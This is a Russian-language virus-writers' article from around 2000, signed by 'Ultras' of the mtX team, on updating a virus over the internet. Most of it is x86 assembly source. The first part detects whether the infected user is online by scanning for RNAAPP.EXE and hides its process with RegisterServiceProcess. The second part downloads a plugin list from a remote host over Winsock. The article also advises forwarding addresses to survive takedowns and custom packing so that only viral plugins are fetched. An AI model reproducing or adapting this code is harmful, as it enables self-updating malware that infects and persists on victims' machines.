Обновление вируса через интернет... (Метавиризм:) - 05:10 - by Ultras
 
   Это  маленькая  статья  описывает  как работать с Wsock при обновление
вируса через интернет. Так же я попробую описать все что нужно для скачки
обновления вируса, что лучше как и почему.

   Для  того  чтобы  скачать  свои  плагины  мы  должны  знать зараженный
пользователь  в  инете.  Это процедура нужна чтобы вирус по десять раз не
вызывал   wsock  api  если  нет  инета.  Ниже  приведен  сорец  маленькой
программки  которая  перебирает процессы и ищет в памяти RNAAPP.EXE. Если
такой файл существует в памяти то значит пользователь в инете.

Исходник:
*********

buffer        db 1000 dup (?)
snap          dd ?
MAX_PATH equ 260

@api_addresses  label   byte
Process32Next   dd      ?
Process32First  dd      ?
CreateSnapshot  dd      ?
RegServiceProc  dd      ?

PROCESSENTRY32 struc
dwSize               DD    0
cntUsage             DD    0
th32ProcessID        DD    0     ; текущий процесс
th32DefaultHeapID    DD    0
th32ModuleID         DD    0     ; cвязанным exe
cntThreads           DD    0
th32ParentProcessID  DD    0     ; родительский процесс этого процесса
pcPriClassBase       DD    0     ; приоритет основы нитей процесса
dwFlags              DD    0
szExeFile            DB    MAX_PATH DUP(0)   ;  Path
PROCESSENTRY32 ends


rnaapp_runz proc
 push 0
 push 2                            ; TH32CS_SNAPPROCESS
 call dword ptr [CreateSnapshot]
 mov [snap],eax
 dec eax
 jz no_internet
 mov dword ptr [buffer], size PROCESSENTRY32
 push offset buffer
 push dword ptr [snap]
 call dword ptr [Process32First]   ;получим первый процесс
@@next:
 test eax, eax
 jz no_internet                    ;нет больше процессов?
 sub eax, eax
 lea edi, [buffer.szExeFile]
 repnz scasb                       ;ищем конец файла
 std
 mov al, '\'
 repnz scasb                       ;ищем самое начало имени файла
 cld
 mov eax, [edi+2]
 or eax, 20202020h                 ;проверяем
 cmp eax, 'aanr'                   ;это RNAAPP.EXE запущен?
 je @@http                         ;если да, то пользователь в интернете
 push offset buffer
 push dword ptr [snap]
 call dword ptr [Process32Next]    ;получим следующий процесс
 jmp @@next
@@http:
 push [snap]
 call CloseHandle                   ;закроем
 call connect_http                  ;конектимся
 ret
no_internet:                        ;пользователь не в интернете
 ret
rnaapp_runz endp


check_connect:
 call push_kernel32
 db 'KERNEL32.dll',0
push_kernel32:
 call GetModuleHandleA
 or eax,eax
 jz nothing_2_do

 call push_regsrvpc
 db 'RegisterServiceProcess',0
push_regsrvpc:
 push eax

 call push_crth32ss
 db 'CreateToolhelp32Snapshot',0
push_crth32ss:
 push eax

 call push_proc32f
 db 'Process32First',0
push_proc32f:
 push eax

 call push_proc32n
 db 'Process32Next',0
push_proc32n:
 push eax

 mov esi,4
 lea edi,dword ptr [@api_addresses]
get_addresses:
 call GetProcAddress
 stosd
 dec esi
 or esi,esi
 jnz get_addresses
 push 1
 push 0
 call dword ptr [RegServiceProc]


   После  того  как  убедились  что  пользователь в инете, тут начинается
самое  интересное  "download plugin". Плагины можно скачивать по разному,
самый  лучший  метод  создать какой нибудь файл MATRiX.VX в котором будут
написаны  имена плагинов их размер, мы его прочтем запомним имена и будем
качать  эти  плагины.  Один  раз  мне прислали исходник в котором автором
качал  фиксированные  плагины (тоесть например 1.exe,2.exe etc) это очень
плохой способ нельзя прибавить число плагинов или уменьшить.

   Итак ниже исходник маленькой программы которая скачивает файлы...
   (спасибо  NBK  за  исходник  и за то что научил работать с этим сраным
winsock)

.586p
.model flat

extrn ExitProcess:proc
extrn WSACleanup:proc
extrn socket:proc
extrn connect:proc
extrn send:proc
extrn recv:proc
extrn WSAStartup:proc
extrn WSAGetLastError:proc
extrn gethostbyname:proc
extrn closesocket:proc
extrn MessageBoxA:proc


.data

buffer db 512 dup (0)
sock dd 0
geocities db 'www.geocities.com',0 ' откуда будим сливать файлы

request db 'GET MATRIX.VX HTTP/1.1',13,10 ' wow i like it....
        db 'Host: www.geocities.com',13,10
        db 'User-Agent: [MATRiX]/1.0',13,10
        db 'Accept: *.*, */*',13,10,13,10
request_size equ $ - request
error1 db 'ERROR',0

sockaddr:

dd 050000002h ; Номар порта (80) значит http
ipnumber dd 0 ; Ност в hex
dd 0
dd 0

.code

start:
; Инициализировать Winsock
push offset buffer
push 101h
; нужна версия не меньше 1.01
call WSAStartup

; Проверяем как версия Winsock
test eax,eax
jnz error

; Создать socket для tcp/ip соединения

push 00H ; Специфический протокол который нужно использовать
push 01H ; Спецификация Типа для нового сокекта
push 02H ; PF_INET
call socket

Если eax = 0FFFFFFFFh сокет не может быть создан
mov [sock],eax
inc eax
jz error

; Получим IP адресс от geocities

push offset geocities
call gethostbyname

; Если eax = 0FFFFFFFFh галимо, на выход
test eax,eax
jz error

mov eax,[eax+4]
mov eax,[eax+4]
; Сохраним IP номер в EAX
mov [ipnumber],eax

; Теперь мы можем конектиться юзая сокеты
; с определенным сайтом

push 16 ; Размер структуры конекта
push offset sockaddr ; поинт для этого
push [sock] ; Используем сокеты
call connect

; Если eax = 0FFFFFFFFh, мы уже приконектились с geocities

test eax,eax
jnz error

; Так и так самое интерсное. Мы должны слить нам нужный файл он называется
; MATRIX.VX
; Если Geocities не имеет такого файла то сервер возвратит нам что то типа
; "404 NOT FOUND"

repeat_send:

push 0 ; Определяет путь
push request_size ; Размер моего запроса к серверу
push offset request ; Где мои запрос может быть найден
push [sock] ; и др. сокеты (конектимся к geocites)
call send

; Если eax = 0FFFFFFFFh, неудача вызова функции. Такие глюки стандарты для
; этой функций
; нужно просто повторить деиствия.
inc eax
jnz sendok

call WSAGetLastError

; Вы можите установить большее параметр для ошибки кода.

cmp eax, 10035
je repeat_send

jmp error

sendok:

; The request was done, now the program will
; get the WEB SERVER response and show it in
; a message box

; Запрос был сделан и теперь программа получит ответ от web сервера и
; покажет на msgbox.
mov esi,offset buffer

repeat_recv:

push 0
push 4096
push esi
push [sock]
call recv

inc eax
jnz recvok

call WSAGetLastError

cmp eax, 10035 ; проверяет на ошибки 
je repeat_recv

jmp error

recvok:

dec eax
jz done

; Мы должны модернизировать оффсет для буфера
add esi,eax
jmp repeat_recv

done:

; выводим на экран всю инфу

push 0
push offset $
push offset buffer
push 0
call MessageBoxA
jmp theend

error:

; сообщение об ошибки

push 0
push offset error1
push offset error1
push 0
call MessageBoxA

theend:

; выходим из программы

push 0
call ExitProcess

end start


   Если вы все таки решили сделать обновления через веб страницу то лучше
всего  использовать  какой  нибудь  форвард чтобы когда страничку закрыли
можно   было   закачать  на  дургую  пример  I-Worm.MTX(  использует  эту
технологию). Так же можно извратиться и написатьплагин со своим хедором и
запакованый  каким  нибудь  сложным  алгоритмом, чтобы вирус качал только
вирусные плаги а не личило для вируса.


Что дальше?
~~~~~~~~~~~

В следующих версиях этой статьи я привиду уже подробный пример(исходник).
Возможно в следуящих версиях как обнавлять через
FTP и через News, IRC.

Unknown Ultra Virmaker from Moscow

 ULTRAS [mTX teAm 2000]